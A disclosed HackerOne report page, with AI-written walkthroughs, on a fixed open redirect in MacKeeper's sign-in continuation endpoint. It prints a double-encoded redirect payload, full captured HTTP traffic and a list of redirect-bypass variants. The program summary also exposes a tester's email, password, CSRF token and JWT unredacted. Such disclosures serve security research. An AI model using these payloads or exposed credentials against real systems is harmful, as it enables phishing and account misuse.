Skip to content
Open redirect Disclosed report Beginner

open redirect at https://account.mackeeper.com/auth/signin/continue via improper uri sanitization

The sign-in continue endpoint accepted a double-encoded URL in its path and redirected the user to an attacker-controlled domain after login. An attacker could craft a link that sends a victim to a phishing site while appearing to come from the legitimate account service.

dilawer Follow

Originally disclosed on HackerOne

Bounty$50 Low View original
  • Triaged in 18 hours
  • Fixed in 3 months
  • Paid in 19 days
  • Disclosed after 4 months

Summary by the program

Summary

open redirect at https://account.mackeeper.com/auth/signin/continue via improper uri sanitization

Steps to reproduce

goto https://account.mackeeper.com/auth/signin/continue/https%253A%252F%252Faccount.w1hack.com%252Fprovider%252Flogin%252F%253Fopenid_ns%253Dhttp%25253A%25252F%25252Fopenid.net%25252Fsignon%25252F1.0%2526openid_mode%253Dcheckid_setup%2526openid_identity%253Dhttp%25253A%25252F%25252Faccount.kromtech.net%25252F%2526openid_claimed_id%253Dhttp%25253A%25252F%25252Faccount.kromtech.net%25252F%2526openid_assoc_handle%253D51a9d66c4daee%2526openid_return_to%253Dhttp%25253A%25252F%25252Fmackeeper.kromtech.net%25252Fopenid%25252Fauthenticate%25253Fdestination%25253Dforum%25252F18830%2526openid_trust_root%253Dhttp%25253A%25252F%25252Fmackeeper.kromtech.net%25252F%2526openid_sreg_required%253Did%25252Cnickname%25252Cemail%25252Csignature%25252Cavatarurl%2526openid_ns_sreg%253Dhttp%25253A%25252F%25252Fopenid.net%25252Fextensions%25252Fsreg%25252F1.1/style/mac?locale=no

you will see you will be redirected to w1hack.com

Header Request

POST /auth/signin/continue/https%253A%252F%252Faccount.w1hack.com%252Fprovider%252Flogin%252F%253Fopenid_ns%253Dhttp%25253A%25252F%25252Fopenid.net%25252Fsignon%25252F1.0%2526openid_mode%253Dcheckid_setup%2526openid_identity%253Dhttp%25253A%25252F%25252Faccount.kromtech.net%25252F%2526openid_claimed_id%253Dhttp%25253A%25252F%25252Faccount.kromtech.net%25252F%2526openid_assoc_handle%253D51a9d66c4daee%2526openid_return_to%253Dhttp%25253A%25252F%25252Fmackeeper.kromtech.net%25252Fopenid%25252Fauthenticate%25253Fdestination%25253Dforum%25252F18830%2526openid_trust_root%253Dhttp%25253A%25252F%25252Fmackeeper.kromtech.net%25252F%2526openid_sreg_required%253Did%25252Cnickname%25252Cemail%25252Csignature%25252Cavatarurl%2526openid_ns_sreg%253Dhttp%25253A%25252F%25252Fopenid.net%25252Fextensions%25252Fsreg%25252F1.1/style/mac?locale=no HTTP/1.1
Host: account.mackeeper.com
Connection: close
Content-Length: 103
Cache-Control: max-age=0
Origin: https://account.mackeeper.com
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: https://account.mackeeper.com/auth/signin/continue/https%253A%252F%252Faccount.w1hack.com%252Fprovider%252Flogin%252F%253Fopenid_ns%253Dhttp%25253A%25252F%25252Fopenid.net%25252Fsignon%25252F1.0%2526openid_mode%253Dcheckid_setup%2526openid_identity%253Dhttp%25253A%25252F%25252Faccount.kromtech.net%25252F%2526openid_claimed_id%253Dhttp%25253A%25252F%25252Faccount.kromtech.net%25252F%2526openid_assoc_handle%253D51a9d66c4daee%2526openid_return_to%253Dhttp%25253A%25252F%25252Fmackeeper.kromtech.net%25252Fopenid%25252Fauthenticate%25253Fdestination%25253Dforum%25252F18830%2526openid_trust_root%253Dhttp%25253A%25252F%25252Fmackeeper.kromtech.net%25252F%2526openid_sreg_required%253Did%25252Cnickname%25252Cemail%25252Csignature%25252Cavatarurl%2526openid_ns_sreg%253Dhttp%25253A%25252F%25252Fopenid.net%25252Fextensions%25252Fsreg%25252F1.1/style/mac?locale=no
Accept-Language: en-US,en;q=0.8
Cookie: mk_app_yes=mk_app_yes; _ym_uid=1579612979958442825; _ym_d=1579612979; _hjid=19211cfe-00dd-40b5-a596-90493e1eb717; showCookiePolicy=true; isEn=1; 2eed7e0098d8cfa298dd5645c48848de=clever; g=UEs%3D; priceCode=USD; bcookt=clever; __utma=149849254.1219849863.1579612976.1579633508.1579690709.2; __utmz=149849254.1579633508.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); a6df4b8e1b90a8253d9e959a778a4823=clever; ActivateMacKeeperPopUpShown5e282b891b9df814a8e556ea=1; guid=21909a2c-3c51-11ea-b984-0242ac110002; useridw=mzb_111068; aaffss=f358c280-3d06-11ea-b014-4274d6b79e00-mzb%3Bfd7ac100-3d06-11ea-9326-d070f32dcc00-mzb%3B02d80b80-3d07-11ea-b9ce-760cbdfb3700-mzb%3A0%3A20120101; globalAffid=02d80b80-3d07-11ea-b9ce-760cbdfb3700-mzb; userDefiner=mzb_3430; userPrePay=Twitter_link; trt=29_3141156; _fbp=fb.1.1579612978648.324338441; ActivateMacKeeperPopUpShown4ebd77c922b1ae752f000000=1; lang=en; country=PK; _ga=GA1.2.1219849863.1579612976; _gcl_au=1.1.268843216.1579612977; ActivateMacKeeperPopUpShown5e26fe311b9df814a8040ec6=1; 7853c3622979789a6bd4136ac19e2b14=clever; _hjIncludedInSample=1; ActivateMacKeeperPopUpShown5e28b1231b9df814a8c0df6c=1; ActivateMacKeeperPopUpShown5e26de421b9df814a8d2bb79=1; sid=nsf5dc17e36lhcla9a73i7juj4; _gat_UA-50619415-1=1; locale=nb; _ga=GA1.3.1219849863.1579612976; _gid=GA1.3.1852226068.1579856045

csrf=7374bb97d38896e6a2bb93e5e0cd4bf4&email=dilawer.hackerone%40yahoo.com&password=123456Abbas*&submit=

Header Response

HTTP/1.1 302 Moved Temporarily
Date: Fri, 24 Jan 2020 11:24:54 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Server: nginx
Set-Cookie: locale=nb; expires=Sat, 23-Jan-2021 11:24:54 GMT; Max-Age=31536000; path=/; domain=account.mackeeper.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: jwtToken=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/; domain=mackeeper.com; secure; httponly
Set-Cookie: jwtToken=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/; domain=mackeeper.com; secure; httponly
Set-Cookie: aguid=4e999b570c249e4ebda7033a60e9bede5e2ad406d237b8.16121969; expires=Sat, 25-Jan-2020 11:24:54 GMT; Max-Age=86400; path=/; secure; httponly
Set-Cookie: jwtToken=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Ijk1YTYyYzc4N2ViYjcwYTY5OTFhNzdhMTI1ODJkZjlhIn0.eyJ1c2VyX2lkIjoiNWUyNmRlNDIxYjlkZjgxNGE4ZDJiYjc5IiwiaXNzIjoibWthcGkiLCJleHAiOjE1ODA0OTUwOTQsImhhc2giOiI1ZjA5NDU1MWFkNWY4NiJ9.eGPuBtXDNZEliXXv9Id2fqmhyqvSaKSqM90RsymQsTBMDyY7DXqAaodlNOUPVpqbCyeyw7pPTEDJIYDcY-_KeSl9TQWJJslUIMTkpqXOEXZe87o3RvIR2o3AOpsPeawhlOCDgAvOXs_h9BdhJHoRUqJSQt0wGrc6jTRDPLCnLts7LeaSHAjyzZXHTQtCT8wHIsV9kxdY4UJRQvBAmhyOGLvvLocWci7ZDcG_w2GRPlyZAdyf7KtWQ0m89maPc430qYOHSzw9Q1PjCe8BfaX219thF7wIG9ulfJ_bKOet_hxkvZQ5nD4Ggpo_274qhQiPSQhCvHwcIhfQ2HVBXFNmCg; expires=Sun, 26-Jan-2020 11:24:54 GMT; Max-Age=172800; path=/; domain=mackeeper.com; secure; httponly
Set-Cookie: loginInfo=dilawer.hackerone; expires=Fri, 31-Jan-2020 11:24:54 GMT; Max-Age=604800; path=/; domain=mackeeper.com; secure
Location: https://account.w1hack.com/provider/login/?openid_ns=http%3A%2F%2Fopenid.net%2Fsignon%2F1.0&openid_mode=checkid_setup&openid_identity=http%3A%2F%2Faccount.kromtech.net%2F&openid_claimed_id=http%3A%2F%2Faccount.kromtech.net%2F&openid_assoc_handle=51a9d66c4daee&openid_return_to=http%3A%2F%2Fmackeeper.kromtech.net%2Fopenid%2Fauthenticate%3Fdestination%3Dforum%2F18830&openid_trust_root=http%3A%2F%2Fmackeeper.kromtech.net%2F&openid_sreg_required=id%2Cnickname%2Cemail%2Csignature%2Cavatarurl&openid_ns_sreg=http%3A%2F%2Fopenid.net%2Fextensions%2Fsreg%2F1.1
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
Content-Length: 0

The original report as published on HackerOne, by dilawer. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 8 min read.

Context

The target is account.mackeeper.com, the account and sign-in service for MacKeeper, operated under the Clario program on HackerOne. The affected feature is the sign-in continuation endpoint at /auth/signin/continue/, which takes a destination path as part of the URL and, after a successful sign-in, sends the browser onward to that destination. In normal use that destination is a path on the same site, such as the /style/mac path used in the report's example, with a locale query parameter.

The report describes the bug as an open redirect caused by improper URI sanitisation. The researcher, dilawer, reported it as a low severity issue, and the program paid a bounty of 50.00 USD. The report was disclosed on 2020-05-17.

Setup

No special account, role or tooling is described. The researcher reached the endpoint with an ordinary browser session and captured the sign-in POST and the resulting redirect. The request carries a csrf token and a set of credentials in the body, so a valid session on the sign-in form is a precondition for the POST to be processed. The example uses the locale=no query parameter on the continuation URL.

Finding it

The continuation endpoint accepts a value after /auth/signin/continue/ and uses it as the post-authentication destination. The value is not restricted to a local path: when the value is a URL-encoded absolute URL, the server decodes it and places it in the Location header of the 302 response. Because the value is double-encoded in the request, the decoding happens in stages, and the final redirect target is an external host rather than account.mackeeper.com.

Exploitation

Step 1: load the crafted continuation URL

The researcher starts by visiting the following URL:

Text
https://account.mackeeper.com/auth/signin/continue/https%253A%252F%252Faccount.w1hack.com%252Fprovider%252Flogin%252F%253Fopenid_ns%253Dhttp%25253A%25252F%25252Fopenid.net%25252Fsignon%25252F1.0%2526openid_mode%253Dcheckid_setup%2526openid_identity%253Dhttp%25253A%25252F%25252Faccount.kromtech.net%25252F%2526openid_claimed_id%253Dhttp%25253A%25252F%25252Faccount.kromtech.net%25252F%2526openid_assoc_handle%253D51a9d66c4daee%2526openid_return_to%253Dhttp%25253A%25252F%25252Fmackeeper.kromtech.net%25252Fopenid%25252Fauthenticate%25253Fdestination%25253Dforum%25252F18830%2526openid_trust_root%253Dhttp%25253A%25252F%25252Fmackeeper.kromtech.net%25252F%2526openid_sreg_required%253Did%25252Cnickname%25252Cemail%25252Csignature%25252Cavatarurl%2526openid_ns_sreg%253Dhttp%25253A%25252F%25252Fopenid.net%25252Fextensions%25252Fsreg%25252F1.1/style/mac?locale=no

The path segment after /auth/signin/continue/ is a double-encoded URL. %253A decodes once to %3A and then to :, %252F decodes to %2F and then to /, and so on. The embedded URL points at account.w1hack.com/provider/login/ and carries a long OpenID query string whose parameters are themselves encoded one level deeper, with %25253A and %25252F sequences that resolve to http:// URLs for openid.net, account.kromtech.net and mackeeper.kromtech.net. The trailing /style/mac?locale=no is the local path and query that the endpoint would normally use.

According to the report, loading this URL results in a redirect to w1hack.com.

Step 2: the sign-in POST

The sign-in form submits to the same continuation path, with the crafted value still in the URL. The captured request is:

HTTP
POST /auth/signin/continue/https%253A%252F%252Faccount.w1hack.com%252Fprovider%252Flogin%252F%253Fopenid_ns%253Dhttp%25253A%25252F%25252Fopenid.net%25252Fsignon%25252F1.0%2526openid_mode%253Dcheckid_setup%2526openid_identity%253Dhttp%25253A%25252F%25252Faccount.kromtech.net%25252F%2526openid_claimed_id%253Dhttp%25253A%25252F%25252Faccount.kromtech.net%25252F%2526openid_assoc_handle%253D51a9d66c4daee%2526openid_return_to%253Dhttp%25253A%25252F%25252Fmackeeper.kromtech.net%25252Fopenid%25252Fauthenticate%25253Fdestination%25253Dforum%25252F18830%2526openid_trust_root%253Dhttp%25253A%25252F%25252Fmackeeper.kromtech.net%25252F%2526openid_sreg_required%253Did%25252Cnickname%25252Cemail%25252Csignature%25252Cavatarurl%2526openid_ns_sreg%253Dhttp%25253A%25252F%25252Fopenid.net%25252Fextensions%25252Fsreg%25252F1.1/style/mac?locale=no HTTP/1.1
Host: account.mackeeper.com
Connection: close
Content-Length: 103
Cache-Control: max-age=0
Origin: https://account.mackeeper.com
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: https://account.mackeeper.com/auth/signin/continue/https%253A%252F%252Faccount.w1hack.com%252Fprovider%252Flogin%252F%253Fopenid_ns%253Dhttp%25253A%25252F%25252Fopenid.net%25252Fsignon%25252F1.0%2526openid_mode%253Dcheckid_setup%2526openid_identity%253Dhttp%25253A%25252F%25252Faccount.kromtech.net%25252F%2526openid_claimed_id%253Dhttp%25253A%25252F%25252Faccount.kromtech.net%25252F%2526openid_assoc_handle%253D51a9d66c4daee%2526openid_return_to%253Dhttp%25253A%25252F%25252Fmackeeper.kromtech.net%25252Fopenid%25252Fauthenticate%25253Fdestination%25253Dforum%25252F18830%2526openid_trust_root%253Dhttp%25253A%25252F%25252Fmackeeper.kromtech.net%25252F%2526openid_sreg_required%253Did%25252Cnickname%25252Cemail%25252Csignature%25252Cavatarurl%2526openid_ns_sreg%253Dhttp%25253A%25252F%25252Fopenid.net%25252Fextensions%25252Fsreg%25252F1.1/style/mac?locale=no
Accept-Language: en-US,en;q=0.8
Cookie: [redacted]

csrf=[redacted]&email=[redacted]&[redacted]&submit=

The body is form-encoded and contains the csrf token, the account email, the password and an empty submit field. The Origin and Referer headers both point at account.mackeeper.com, and the Referer repeats the crafted continuation path, so the request looks like a normal submission from the sign-in page. The cookie header is a long list of analytics and session cookies from the site; it is redacted here.

Step 3: the redirect response

The server answers with a 302 whose Location header is the decoded external URL:

HTTP
HTTP/1.1 302 Moved Temporarily
Date: Fri, 24 Jan 2020 11:24:54 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Server: nginx
Set-Cookie: locale=nb; expires=Sat, 23-Jan-2021 11:24:54 GMT; Max-Age=31536000; path=/; domain=account.mackeeper.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: jwtToken=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/; domain=mackeeper.com; secure; httponly
Set-Cookie: jwtToken=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/; domain=mackeeper.com; secure; httponly
Set-Cookie: aguid=[redacted]; expires=Sat, 25-Jan-2020 11:24:54 GMT; Max-Age=86400; path=/; secure; httponly
Set-Cookie: jwtToken=[redacted]; expires=Sun, 26-Jan-2020 11:24:54 GMT; Max-Age=172800; path=/; domain=mackeeper.com; secure; httponly
Set-Cookie: loginInfo=[redacted]; expires=Fri, 31-Jan-2020 11:24:54 GMT; Max-Age=604800; path=/; domain=mackeeper.com; secure
Location: https://account.w1hack.com/provider/login/?openid_ns=http%3A%2F%2Fopenid.net%2Fsignon%2F1.0&openid_mode=checkid_setup&openid_identity=http%3A%2F%2Faccount.kromtech.net%2F&openid_claimed_id=http%3A%2F%2Faccount.kromtech.net%2F&openid_assoc_handle=51a9d66c4daee&openid_return_to=http%3A%2F%2Fmackeeper.kromtech.net%2Fopenid%2Fauthenticate%3Fdestination%3Dforum%2F18830&openid_trust_root=http%3A%2F%2Fmackeeper.kromtech.net%2F&openid_sreg_required=id%2Cnickname%2Cemail%2Csignature%2Cavatarurl&openid_ns_sreg=http%3A%2F%2Fopenid.net%2Fextensions%2Fsreg%2F1.1
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
Content-Length: 0

The Location value is the fully decoded form of the path segment: the double encoding has been peeled off, and the browser is sent to https://account.w1hack.com/provider/login/ with the OpenID parameters now single-encoded. The response also sets a locale cookie, clears jwtToken twice, and sets a new jwtToken, an aguid and a loginInfo cookie, all scoped to mackeeper.com and marked secure and httponly where applicable. The session cookies are redacted here.

Root cause

The endpoint takes the destination from the URL path and uses it directly in the Location header after decoding. There is no check that the decoded value is a relative path on account.mackeeper.com, so an absolute URL survives the decoding and becomes the redirect target. The value is double-encoded in the request and decoded in stages before it reaches the Location header.: the first decode produces a still-encoded URL, and the second decode produces the external URL that ends up in Location. The report does not describe the server-side code, so the exact point where the check is missing is likely in the redirect construction rather than in the form handling.

Impact

The result is an open redirect on the account sign-in flow: a link on the trusted account.mackeeper.com domain sends the user to an attacker-controlled host after sign-in. The report does not describe any further use of the redirect, such as phishing or token theft, and the program rated it low severity. The practical impact depends on a victim following the crafted link and completing the sign-in step, since the redirect is produced by the sign-in POST.

Fix

The fix that follows from the root cause is to validate the destination after decoding: accept only relative paths, reject values that contain a scheme or host, and perform the check on the fully decoded value rather than on the raw path segment.

Variants to test

  1. Single encoding instead of double: put https%3A%2F%2Fevil.example after the continuation path and see whether the response Location points off-site.
  2. Scheme-relative values: try //evil.example/path and its encoded forms, and check whether the redirect leaves the host.
  3. Backslash and mixed separators: try \evil.example and /%5Cevil.example, and look for a Location that resolves to another host.
  4. Encoded scheme characters: try %68%74%74%70%3A%2F%2Fevil.example and check whether decoding happens before or after validation.
  5. Path traversal into an absolute URL: try values such as /../..//evil.example and see whether normalisation produces an off-site target.
  6. Query-string based destinations: if the same endpoint accepts a destination parameter in the query, repeat the tests there.

A positive result in each case is a 302 whose Location header names a host other than account.mackeeper.com.

Hunting notes

Sign-in and continuation endpoints are a good place to look for this bug because they often carry a return path so users land where they started. The signal during recon is a path segment or parameter that looks like a URL, especially when it is encoded more than once. Testing is cheap: change the value to an external host, submit the form, and read the Location header. The report shows the full request and the 302 response with the external Location.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 15 min read.

What happened, in plain words

MacKeeper's account and sign-in pages live on account.mackeeper.com. Its account and sign-in pages live on account.mackeeper.com, a separate site that handles logging in, passwords and account details. The bug in this report is in the part of that site that decides where to send you after you sign in.

Normally, when you sign in, the site sends your browser onward to a page on the same site, for example a page about the Mac version of the product. The address of that next page is written into the web address itself, after /auth/signin/continue/. The site reads that piece of the address and uses it as the destination.

The researcher, dilawer, reported that a crafted destination sends the browser to another site. If you put a whole web address belonging to another site in that spot, the site decodes it and sends your browser there. That is called an open redirect: a trusted site's link that quietly hands you over to a site of someone else's choosing.

The report was filed on HackerOne under the Clario program, rated low severity, paid a bounty of 50.00 USD, and was disclosed on 2020-05-17.

A few ideas you need before the details make sense:

  • URL (web address): the text you type in the browser bar, like https://example.com/page. It has a scheme (https), a host (example.com) and a path (/page).
  • Redirect: an instruction from a server saying "the thing you asked for is over there, go to this other address instead". The browser follows it automatically, usually without asking you. Think of a receptionist pointing you to a different desk.
  • HTTP request and response: your browser sends a request ("please give me this page, here is my form data") and the server sends back a response ("here it is", or "go elsewhere", or "you are not allowed").
  • Header: extra labelled information attached to a request or response, such as Host (which site you are talking to) or Location (where to redirect to).
  • Cookie: a small piece of text a site stores in your browser so it can recognise you on the next request, for example to keep you logged in. Cookies are sent back to the site with every request.
  • Token: a value that proves something, such as "this form really came from our own page" (a CSRF token) or "this user is logged in" (a JWT token).
  • Encoding: replacing characters with codes so they can travel safely inside a URL. %3A means :, %2F means /. Double encoding means encoding the result again, so %3A becomes %253A. Each decoding step peels one layer off, like unwrapping a parcel inside a parcel.
  • Sanitisation: cleaning or checking input before using it, for example making sure a destination is a local page and not a foreign website.

Context

The target is account.mackeeper.com, the account and sign-in service for MacKeeper, run under the Clario program on HackerOne. The affected feature is the sign-in continuation endpoint at /auth/signin/continue/. It takes a destination path as part of the URL and, after a successful sign-in, sends the browser onward to that destination. In normal use the destination is a path on the same site, such as the /style/mac path used in the report's example, with a locale query parameter (here locale=no).

The report calls the bug an open redirect caused by improper URI sanitisation. It was rated low severity and paid 50.00 USD.

Setup

No special account, role or tooling is described. The researcher used an ordinary browser session and captured the sign-in request and the redirect that came back. The request carries a csrf token and credentials in the body, so being on the sign-in form with a valid session is a precondition for the request to be processed. The example uses the locale=no query parameter on the continuation URL.

Finding it

The continuation endpoint accepts a value after /auth/signin/continue/ and uses it as the destination after sign-in. The value is not restricted to a local path: when the value is an encoded absolute URL, the server decodes it and puts it in the Location header of the 302 response. Because the value is double-encoded in the request, decoding happens in stages, and the final redirect target is an external host rather than account.mackeeper.com.

Exploitation

Step 1: load the crafted continuation URL

The researcher starts by visiting this URL:

Text
https://account.mackeeper.com/auth/signin/continue/https%253A%252F%252Faccount.w1hack.com%252Fprovider%252Flogin%252F%253Fopenid_ns%253Dhttp%25253A%25252F%25252Fopenid.net%25252Fsignon%25252F1.0%2526openid_mode%253Dcheckid_setup%2526openid_identity%253Dhttp%25253A%25252F%25252Faccount.kromtech.net%25252F%2526openid_claimed_id%253Dhttp%25253A%25252F%25252Faccount.kromtech.net%25252F%2526openid_assoc_handle%253D51a9d66c4daee%2526openid_return_to%253Dhttp%25253A%25252F%25252Fmackeeper.kromtech.net%25252Fopenid%25252Fauthenticate%25253Fdestination%25253Dforum%25252F18830%2526openid_trust_root%253Dhttp%25253A%25252F%25252Fmackeeper.kromtech.net%25252F%2526openid_sreg_required%253Did%25252Cnickname%25252Cemail%25252Csignature%25252Cavatarurl%2526openid_ns_sreg%253Dhttp%25253A%25252F%25252Fopenid.net%25252Fextensions%25252Fsreg%25252F1.1/style/mac?locale=no

Line by line, in plain words:

  • The first part, https://account.mackeeper.com/auth/signin/continue/, is the real sign-in continuation page on the trusted site. Everything before this point is genuine.
  • Everything after that slash is the destination the site is supposed to send you to after sign-in. Instead of a simple local path, it is a whole web address, wrapped in encoding.
  • %253A is a colon (:) encoded twice. Decode once and you get %3A; decode again and you get :. The colon is what separates https from the rest of a web address.
  • %252F is a slash (/) encoded twice. Decode once and you get %2F; decode again and you get /.
  • Together, https%253A%252F%252Faccount.w1hack.com... becomes https://account.w1hack.com... after two decoding rounds. That is a different website, not MacKeeper's.
  • The long tail starting with openid_ns, openid_mode, openid_identity and so on is a query string: extra settings attached to the address after a ?, separated by &. These settings are themselves encoded one level deeper, with %25253A and %25252F, which resolve to http:// addresses for openid.net, account.kromtech.net and mackeeper.kromtech.net. OpenID is a sign-in system where one site asks another site to confirm who you are; these parameters describe such a hand-off.
  • The final /style/mac?locale=no is the local path and query the endpoint would normally use. It sits at the end, after the foreign address, which helps the crafted value look plausible.

According to the report, loading this URL results in a redirect to w1hack.com.

Step 2: the sign-in POST

The sign-in form submits to the same continuation path, with the crafted value still in the URL. The captured request is:

HTTP
POST /auth/signin/continue/https%253A%252F%252Faccount.w1hack.com%252Fprovider%252Flogin%252F%253Fopenid_ns%253Dhttp%25253A%25252F%25252Fopenid.net%25252Fsignon%25252F1.0%2526openid_mode%253Dcheckid_setup%2526openid_identity%253Dhttp%25253A%25252F%25252Faccount.kromtech.net%25252F%2526openid_claimed_id%253Dhttp%25253A%25252F%25252Faccount.kromtech.net%25252F%2526openid_assoc_handle%253D51a9d66c4daee%2526openid_return_to%253Dhttp%25253A%25252F%25252Fmackeeper.kromtech.net%25252Fopenid%25252Fauthenticate%25253Fdestination%25253Dforum%25252F18830%2526openid_trust_root%253Dhttp%25253A%25252F%25252Fmackeeper.kromtech.net%25252F%2526openid_sreg_required%253Did%25252Cnickname%25252Cemail%25252Csignature%25252Cavatarurl%2526openid_ns_sreg%253Dhttp%25253A%25252F%25252Fopenid.net%25252Fextensions%25252Fsreg%25252F1.1/style/mac?locale=no HTTP/1.1
Host: account.mackeeper.com
Connection: close
Content-Length: 103
Cache-Control: max-age=0
Origin: https://account.mackeeper.com
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: https://account.mackeeper.com/auth/signin/continue/https%253A%252F%252Faccount.w1hack.com%252Fprovider%252Flogin%252F%253Fopenid_ns%253Dhttp%25253A%25252F%25252Fopenid.net%25252Fsignon%25252F1.0%2526openid_mode%253Dcheckid_setup%2526openid_identity%253Dhttp%25253A%25252F%25252Faccount.kromtech.net%25252F%2526openid_claimed_id%253Dhttp%25253A%25252F%25252Faccount.kromtech.net%25252F%2526openid_assoc_handle%253D51a9d66c4daee%2526openid_return_to%253Dhttp%25253A%25252F%25252Fmackeeper.kromtech.net%25252Fopenid%25252Fauthenticate%25253Fdestination%25253Dforum%25252F18830%2526openid_trust_root%253Dhttp%25253A%25252F%25252Fmackeeper.kromtech.net%25252F%2526openid_sreg_required%253Did%25252Cnickname%25252Cemail%25252Csignature%25252Cavatarurl%2526openid_ns_sreg%253Dhttp%25253A%25252F%25252Fopenid.net%25252Fextensions%25252Fsreg%25252F1.1/style/mac?locale=no
Accept-Language: en-US,en;q=0.8
Cookie: [redacted]

csrf=[redacted]&email=[redacted]&[redacted]&submit=

Line by line, in plain words:

  • POST /auth/signin/continue/... is the browser saying "I am sending data to this page". The long encoded value is still in the path, exactly as in step 1. The reason for keeping it there is that the server reads the destination from the path, so the crafted value has to survive all the way to the sign-in submission.
  • Host: account.mackeeper.com tells the server which site the request is for. One server can host many sites, so this header picks the right one.
  • Connection: close asks the server to close the connection after answering.
  • Content-Length: 103 says the body below is 103 bytes long, so the server knows where the data ends.
  • Cache-Control: max-age=0 asks that no cached copy be used.
  • Origin: https://account.mackeeper.com says which site the request came from. It is a security check browsers add so servers can refuse requests from other sites.
  • Upgrade-Insecure-Requests: 1 is the browser saying it would prefer secure https pages.
  • Content-Type: application/x-www-form-urlencoded says the body is in the classic form format: name=value pairs joined by &.
  • User-Agent identifies the browser and operating system. Here it is Chrome 61 on 64-bit Linux.
  • Accept lists the kinds of response the browser can handle: HTML, XHTML, XML, images and so on.
  • Referer says which page the request came from. It repeats the crafted continuation path, so the request looks like a normal submission from the sign-in page.
  • Accept-Language says the browser prefers US English.
  • Cookie is the long list of analytics and session cookies the site has stored in the browser. It is redacted here because it contains session identifiers.
  • The blank line separates the headers from the body.
  • The body csrf=...&email=...&password=...&submit= is the form data: the CSRF token (a value the server gave the form so it can tell a genuine submission from a forged one), the account email, the password and an empty submit field. The email and password are redacted here.

Step 3: the redirect response

The server answers with a 302 whose Location header is the decoded external URL:

HTTP
HTTP/1.1 302 Moved Temporarily
Date: Fri, 24 Jan 2020 11:24:54 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Server: nginx
Set-Cookie: locale=nb; expires=Sat, 23-Jan-2021 11:24:54 GMT; Max-Age=31536000; path=/; domain=account.mackeeper.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: jwtToken=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/; domain=mackeeper.com; secure; httponly
Set-Cookie: jwtToken=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/; domain=mackeeper.com; secure; httponly
Set-Cookie: aguid=[redacted]; expires=Sat, 25-Jan-2020 11:24:54 GMT; Max-Age=86400; path=/; secure; httponly
Set-Cookie: jwtToken=[redacted]; expires=Sun, 26-Jan-2020 11:24:54 GMT; Max-Age=172800; path=/; domain=mackeeper.com; secure; httponly
Set-Cookie: loginInfo=[redacted]; expires=Fri, 31-Jan-2020 11:24:54 GMT; Max-Age=604800; path=/; domain=mackeeper.com; secure
Location: https://account.w1hack.com/provider/login/?openid_ns=http%3A%2F%2Fopenid.net%2Fsignon%2F1.0&openid_mode=checkid_setup&openid_identity=http%3A%2F%2Faccount.kromtech.net%2F&openid_claimed_id=http%3A%2F%2Faccount.kromtech.net%2F&openid_assoc_handle=51a9d66c4daee&openid_return_to=http%3A%2F%2Fmackeeper.kromtech.net%2Fopenid%2Fauthenticate%3Fdestination%3Dforum%2F18830&openid_trust_root=http%3A%2F%2Fmackeeper.kromtech.net%2F&openid_sreg_required=id%2Cnickname%2Cemail%2Csignature%2Cavatarurl&openid_ns_sreg=http%3A%2F%2Fopenid.net%2Fextensions%2Fsreg%2F1.1
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
Content-Length: 0

Line by line, in plain words:

  • HTTP/1.1 302 Moved Temporarily is the server saying "the page you asked for is somewhere else, go there". A 302 is the standard redirect status code. The browser follows it automatically.
  • Date is when the server produced the response.
  • Content-Type: text/html; charset=UTF-8 says the body is HTML in UTF-8 text. Here the body is empty, but the header is still sent.
  • Connection: close means the server will close the connection after this response.
  • Server: nginx names the web server software. nginx is a common web server.
  • The Set-Cookie lines tell the browser to store cookies. locale=nb stores a language preference. jwtToken=deleted with an expiry date in 1970 is the standard way to delete a cookie: a date in the past makes the browser drop it, and it appears twice. A new jwtToken is then set, plus an aguid and a loginInfo cookie. A JWT is a signed token that proves who is logged in. secure means the cookie is only sent over https, and httponly means page scripts cannot read it, which makes it harder for an attacker's script to steal. The session cookie values are redacted here.
